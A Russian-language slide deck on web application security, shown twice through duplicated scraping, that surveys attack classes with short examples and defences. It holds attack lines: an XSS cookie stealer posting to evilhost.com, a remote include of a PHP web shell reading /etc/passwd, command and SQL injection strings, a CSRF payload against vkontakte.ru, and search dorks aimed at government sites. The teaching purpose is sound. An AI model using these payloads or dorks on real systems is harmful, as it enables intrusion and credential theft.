Безопасность веб-приложений.
Так ли опасна виртуальная угроза?
        Александр Татульченков
        Пропагандист и популяризатор php-джихада и медоед-
        стайл кодинга.
        Пишет SQL во вьюхах и несет $GLOBALS в массы.
Источники проблем




• Любители мнят себя профессионалами
• Нацеленность на функциональность, а не
  безопасность
• Размер проекта превышает запланированный
Дайте цифры




• Жертвы атак
• Последствия
Анализ безопасности



• Что нужно защищать
• От кого нужно защищать
• Вероятность взлома и
  последствия
• Экономическая
  целесообразность
Слои безопасности


• Инфраструктура
• Приложение
Аутентификация (Authentication)



• Подбор (brute force)
• Недостаточная
  аутентификация (Insufficient
  Authentication)
• Небезопасное восстановление
  паролей (Weak Password
  Recovery Validation)
Подбор (Brute force)



Автоматизированный процесс проб и
ошибок, использующийся для того,
чтобы угадать имя пользователя,
пароль, номер кредитной карточки,
ключ шифрования и т.д.
Недостаточная аутентификация
                     (Insufficient Authentication)


Эта уязвимость возникает, когда Web-
сервер позволяет атакующему
получать доступ к важной
информации или функциям сервера
без должной аутентификации
Небезопасное восстановление паролей
                  (Weak Password Recovery Validation)


Эта уязвимость возникает, когда Web-сервер
позволяет атакующему несанкционированно
получать, модифицировать или
восстанавливать пароли других
пользователей
Авторизация (Authorization)



• Предсказуемое значение
  идентификатора сессии
  (Credential/Session Prediction)
• Недостаточная авторизация
  (Insufficient Authorization)
• Отсутствие таймаута сессии
  (Insufficient Session Expiration)
• Фиксация сессии (Session
  Fixation)
• Кража сессии (Session
  Hijacking)
Предсказуемое значение идентификатора сессии
            (Credential/Session Prediction)



Предсказуемое значение
идентификатора сессии позволяет
перехватывать сессии других
пользователей
Недостаточная авторизация
                    (Insufficient Authorization)

Недостаточная авторизация возникает,
когда Web-сервер позволяет атакующему
получать доступ к важной информации или
функциям, доступ к которым должен быть
ограничен
Отсутствие таймаута сессии
                   (Insufficient Session Expiration)

В случае если для
идентификатора сессии или
учетных данных не
предусмотрен таймаут или
его значение слишком
велико, злоумышленник
может воспользоваться
старыми данными для
авторизации
Фиксация сессии (Session Fixation)


Используя данный класс атак, злоумышленник присваивает идентификатору сессии
пользователя заданное значение


 http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>


 http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain=
 example.dom">


                                       <?php
 Последовательность атаки
                                       session_start();
 •Установление сессии
                                       if (!isset($_SESSION['initiated'])) {
 •Фиксация сессии
                                            session_regenerate_id();
 •Подключение к сессии
                                            $_SESSION['initiated'] = true;
                                        }
                                       ?>
Кража сессии (Session Hijacking)


Используя данный класс атак,
злоумышленник может украсть
идентификатор сессии
пользователя


 Указывайте домен и httpOnly
Атаки на клиентов (Client-side Attacks)




• Подмена содержимого (Content
  Spoofing)
• Межсайтовое выполнение сценариев
  (Cross-site Scripting, XSS)
• Подделка межсайтовых запросов
  (Cross-site Request Forgery, CSRF)
• Расщепление HTTP-запроса (HTTP
  Response Splitting)
Подмена содержимого
                           (Content Spoofing)

Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы
сгенерированны Web-сервером, а не переданы из внешнего источника
http://example.com/?url=http://hacker-site.com/spoofed-content.html

 <HTML>
 <FRAMESET COLS="100, *">
 <FRAME NAME="pr_menu" SRC="menu.html">
 <FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">
 </FRAMESET>
 </HTML>



 <script>
 if(top.self != window){
     window.location = 'http://yoursite.com';
 }
 </script>
Межсайтовое выполнение сценариев
                        (Cross-site Scripting, XSS)

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код,
который будет перенаправлен браузеру пользователя

Подвиды атаки
1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится
на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.
2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится
на страницу, сохранение на сервер не происходит.
3. DOM скриптинг

<script>
     var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">';
document.write(url);
</script>


+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
Защита
Качественно фильтруйте пользовательские данные перед их выводом:
•   Не забывайте про html теги и двойные кавычки
• Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не
только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д.
• Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а
следовательно эта с виду безобидная строка тоже уязвимость:
    <a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a>
•   Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:)
•   Не забывайте что экранирования кавычек при выводе в теге script не достаточно
•Также следует запретить использование протоколов javascript: и data: во всех ссылках.
•Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый
пользователем
•Указывать кодировку до тега <title>
Подделка межсайтовых запросов
                        (Cross-site Request Forgery, CSRF)


Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP.

<script>
function doit() {
html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +
    ‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>


Защита
•Проверка referer
•CSRT-token
Расщепление HTTP-запроса
                                  (HTTP Response Splitting)

При использовании данной уязвимости злоумышленник посылает серверу специальным образом
сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа
<?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?>


HTTP/1.1 302 Moved Temporarily                      /index.php?lang=foobar%0d%0aContent-Length:
                                                    %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
Date: Sat, 02 Jun 2012 12:53:28 GMT                 %0aContent-Type:%20text/html%0d%0a ContentLength:
Location: http://10.1.1.1/index.php?lang=English    %201 9%0d%0a%0d%0a<html>Preved</html>

Server: Apache 2
                                                     HTTP/1.1 302 Moved Temporarily
271009 with
                                                     Date: Wed, 24 Dec 2003 15:26:41 GMT
Content-Type: text/html
                                                     Location: http://10.1.1.1/index.php?lang=foobar
Set-Cookie:
                                                     Content-Length: 0
PHPSID=1pMRZOiOQzZiE6Y6ii
                                                     HTTP/1.1 200 OK
ApqwBE!-1251019693; path=/
                                                     Content-Type: text/html
Connection: Close
                                                     Content-Length: 19
                                                     <html>Preved</html>
Выполнение кода (Command Execution)




•   Выполнение команд ОС (OS Commanding)
•   Внедрение операторов SQL (SQL Injection)
•   Внедрение операторов XPath (XPath Injection)
•   LI / RI. Local Include, Remote Include
Выполнение команд ОС
                                   (OS Commanding)

Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере
путем манипуляции входными данными
http://example/directory.php?dir=%3Bcat%20/etc/passwd


 <?php
 exec("ls -la $dir",$lines,$rc);
 ?>



 Если вы собираетесь передавать функции пользовательские данные, используйте
 функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не
 смогли обмануть систему, запустив произвольную команду.
Внедрение операторов SQL
                              (SQL Injection)


    $sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']);

Для проведения атаки на эту уязвимость от злоумышленника требуется
просто не использовать символы " ' x00 r n x1a в векторе атаки.
Например:
/index.php?uid=-777 UNION SELECT password FROM userlist


•     Mysql_real_escape_string
•     Prepared statements (PDO)
Внедрение операторов Xpath
                           (Xpath Injection)


Следующее выражение на языке XPath позволяет
определить номер счета пользователя "jsmith" с паролем "Demo1234":


string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())



Если ввести в качестве имени пользователя следующее выражение:
' or 1=1 or ''=   то получим:


string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())
Local File Include / Remote File Include


Не так часто встречаются, но имеют место быть. Пример уязвимого кода:

<?php $module = $_GET['module']; include($module); ?>


Наглядный пример файловой инъекции. Как применить?


http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd


Где файл phpshell.txt будет иметь подобное содержание


<?php echo @`$_GET[c]` ?>
Разглашение информации
                  (Information Disclosure)



• Индексирование директорий (Directory Indexing)
• Идентификация приложений (Web Server/Application Fingerprinting)
• Утечка информации (Information Leakage)
• Обратный путь в директориях (Path Traversal)
• Предсказуемое расположение ресурсов (Predictable Resource
  Location)
Логические атаки (Logical Attacks)



• Злоупотребление функциональными возможностями (Abuse of
  Functionality)
• Отказ в обслуживании (Denial of Service).
Злоупотребление функциональными
                    возможностями


- Использования функций поиска для получения доступа к файлам за пределами корневой
директории Web-сервера;
- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или
внедрения серверных сценариев;
- Реализация отказа в обслуживании путем использования функции блокировки учетной записи
при многократном вводе неправильного пароля.
inurl:gov.ru inurl:php intext:error



Можно немножко конкретизировать под сообщение об
ошибке в MySQL
inurl:gov.ge inurl:php intext:sql syntax


Все сразу
inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" |
inurl:"UNION" | inurl:"AND" ) ) +
intext:"root:x:0:0:root:/root:**"
Nmap («Network
Mapper») это бесплатная
утилита с открытым
исходным кодом для
анализа сети и аудита
безопасности систем.
Яростные противники
консоли могут
использовать Zenmap,
это GUI к Nmap'у.
Это не просто «умный»
сканер, это серьезный
расширяемый
инструмент. Типовой
пример использования:

nmap -A -T4 localhost
очень много чего умеет,
но нам от него нужна
одна из возможностей —
определение, для каких
сервисов есть эксплойты.
Бесплатная версия
продукта «home only»

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

  • 1.
    Безопасность веб-приложений. Так лиопасна виртуальная угроза? Александр Татульченков Пропагандист и популяризатор php-джихада и медоед- стайл кодинга. Пишет SQL во вьюхах и несет $GLOBALS в массы.
  • 2.
    Источники проблем • Любителимнят себя профессионалами • Нацеленность на функциональность, а не безопасность • Размер проекта превышает запланированный
  • 3.
    Дайте цифры • Жертвыатак • Последствия
  • 4.
    Анализ безопасности • Чтонужно защищать • От кого нужно защищать • Вероятность взлома и последствия • Экономическая целесообразность
  • 5.
  • 6.
    Аутентификация (Authentication) • Подбор(brute force) • Недостаточная аутентификация (Insufficient Authentication) • Небезопасное восстановление паролей (Weak Password Recovery Validation)
  • 7.
    Подбор (Brute force) Автоматизированныйпроцесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.
  • 8.
    Недостаточная аутентификация (Insufficient Authentication) Эта уязвимость возникает, когда Web- сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации
  • 9.
    Небезопасное восстановление паролей (Weak Password Recovery Validation) Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей
  • 10.
    Авторизация (Authorization) • Предсказуемоезначение идентификатора сессии (Credential/Session Prediction) • Недостаточная авторизация (Insufficient Authorization) • Отсутствие таймаута сессии (Insufficient Session Expiration) • Фиксация сессии (Session Fixation) • Кража сессии (Session Hijacking)
  • 11.
    Предсказуемое значение идентификаторасессии (Credential/Session Prediction) Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей
  • 12.
    Недостаточная авторизация (Insufficient Authorization) Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен
  • 13.
    Отсутствие таймаута сессии (Insufficient Session Expiration) В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации
  • 14.
    Фиксация сессии (SessionFixation) Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script> http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom"> <?php Последовательность атаки session_start(); •Установление сессии if (!isset($_SESSION['initiated'])) { •Фиксация сессии session_regenerate_id(); •Подключение к сессии $_SESSION['initiated'] = true; } ?>
  • 15.
    Кража сессии (SessionHijacking) Используя данный класс атак, злоумышленник может украсть идентификатор сессии пользователя Указывайте домен и httpOnly
  • 16.
    Атаки на клиентов(Client-side Attacks) • Подмена содержимого (Content Spoofing) • Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) • Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF) • Расщепление HTTP-запроса (HTTP Response Splitting)
  • 17.
    Подмена содержимого (Content Spoofing) Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника http://example.com/?url=http://hacker-site.com/spoofed-content.html <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>"> </FRAMESET> </HTML> <script> if(top.self != window){ window.location = 'http://yoursite.com'; } </script>
  • 18.
    Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя Подвиды атаки 1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д. 2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится на страницу, сохранение на сервер не происходит. 3. DOM скриптинг <script> var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url); </script> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  • 19.
    Защита Качественно фильтруйте пользовательскиеданные перед их выводом: • Не забывайте про html теги и двойные кавычки • Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д. • Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а следовательно эта с виду безобидная строка тоже уязвимость: <a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a> • Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:) • Не забывайте что экранирования кавычек при выводе в теге script не достаточно •Также следует запретить использование протоколов javascript: и data: во всех ссылках. •Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый пользователем •Указывать кодировку до тега <title>
  • 20.
    Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF) Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. <script> function doit() { html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ + ‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html; } </script> <iframe name="frm" onload="doit()" width="0" height="0"></iframe> Защита •Проверка referer •CSRT-token
  • 21.
    Расщепление HTTP-запроса (HTTP Response Splitting) При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа <?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?> HTTP/1.1 302 Moved Temporarily /index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d Date: Sat, 02 Jun 2012 12:53:28 GMT %0aContent-Type:%20text/html%0d%0a ContentLength: Location: http://10.1.1.1/index.php?lang=English %201 9%0d%0a%0d%0a<html>Preved</html> Server: Apache 2 HTTP/1.1 302 Moved Temporarily 271009 with Date: Wed, 24 Dec 2003 15:26:41 GMT Content-Type: text/html Location: http://10.1.1.1/index.php?lang=foobar Set-Cookie: Content-Length: 0 PHPSID=1pMRZOiOQzZiE6Y6ii HTTP/1.1 200 OK ApqwBE!-1251019693; path=/ Content-Type: text/html Connection: Close Content-Length: 19 <html>Preved</html>
  • 22.
    Выполнение кода (CommandExecution) • Выполнение команд ОС (OS Commanding) • Внедрение операторов SQL (SQL Injection) • Внедрение операторов XPath (XPath Injection) • LI / RI. Local Include, Remote Include
  • 23.
    Выполнение команд ОС (OS Commanding) Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными http://example/directory.php?dir=%3Bcat%20/etc/passwd <?php exec("ls -la $dir",$lines,$rc); ?> Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.
  • 24.
    Внедрение операторов SQL (SQL Injection) $sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']); Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' x00 r n x1a в векторе атаки. Например: /index.php?uid=-777 UNION SELECT password FROM userlist • Mysql_real_escape_string • Prepared statements (PDO)
  • 26.
    Внедрение операторов Xpath (Xpath Injection) Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234": string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text()) Если ввести в качестве имени пользователя следующее выражение: ' or 1=1 or ''= то получим: string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())
  • 27.
    Local File Include/ Remote File Include Не так часто встречаются, но имеют место быть. Пример уязвимого кода: <?php $module = $_GET['module']; include($module); ?> Наглядный пример файловой инъекции. Как применить? http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd Где файл phpshell.txt будет иметь подобное содержание <?php echo @`$_GET[c]` ?>
  • 28.
    Разглашение информации (Information Disclosure) • Индексирование директорий (Directory Indexing) • Идентификация приложений (Web Server/Application Fingerprinting) • Утечка информации (Information Leakage) • Обратный путь в директориях (Path Traversal) • Предсказуемое расположение ресурсов (Predictable Resource Location)
  • 29.
    Логические атаки (LogicalAttacks) • Злоупотребление функциональными возможностями (Abuse of Functionality) • Отказ в обслуживании (Denial of Service).
  • 30.
    Злоупотребление функциональными возможностями - Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера; - Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев; - Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.
  • 31.
    inurl:gov.ru inurl:php intext:error Можнонемножко конкретизировать под сообщение об ошибке в MySQL inurl:gov.ge inurl:php intext:sql syntax Все сразу inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"
  • 32.
    Nmap («Network Mapper») этобесплатная утилита с открытым исходным кодом для анализа сети и аудита безопасности систем. Яростные противники консоли могут использовать Zenmap, это GUI к Nmap'у. Это не просто «умный» сканер, это серьезный расширяемый инструмент. Типовой пример использования: nmap -A -T4 localhost
  • 33.
    очень много чегоумеет, но нам от него нужна одна из возможностей — определение, для каких сервисов есть эксплойты. Бесплатная версия продукта «home only»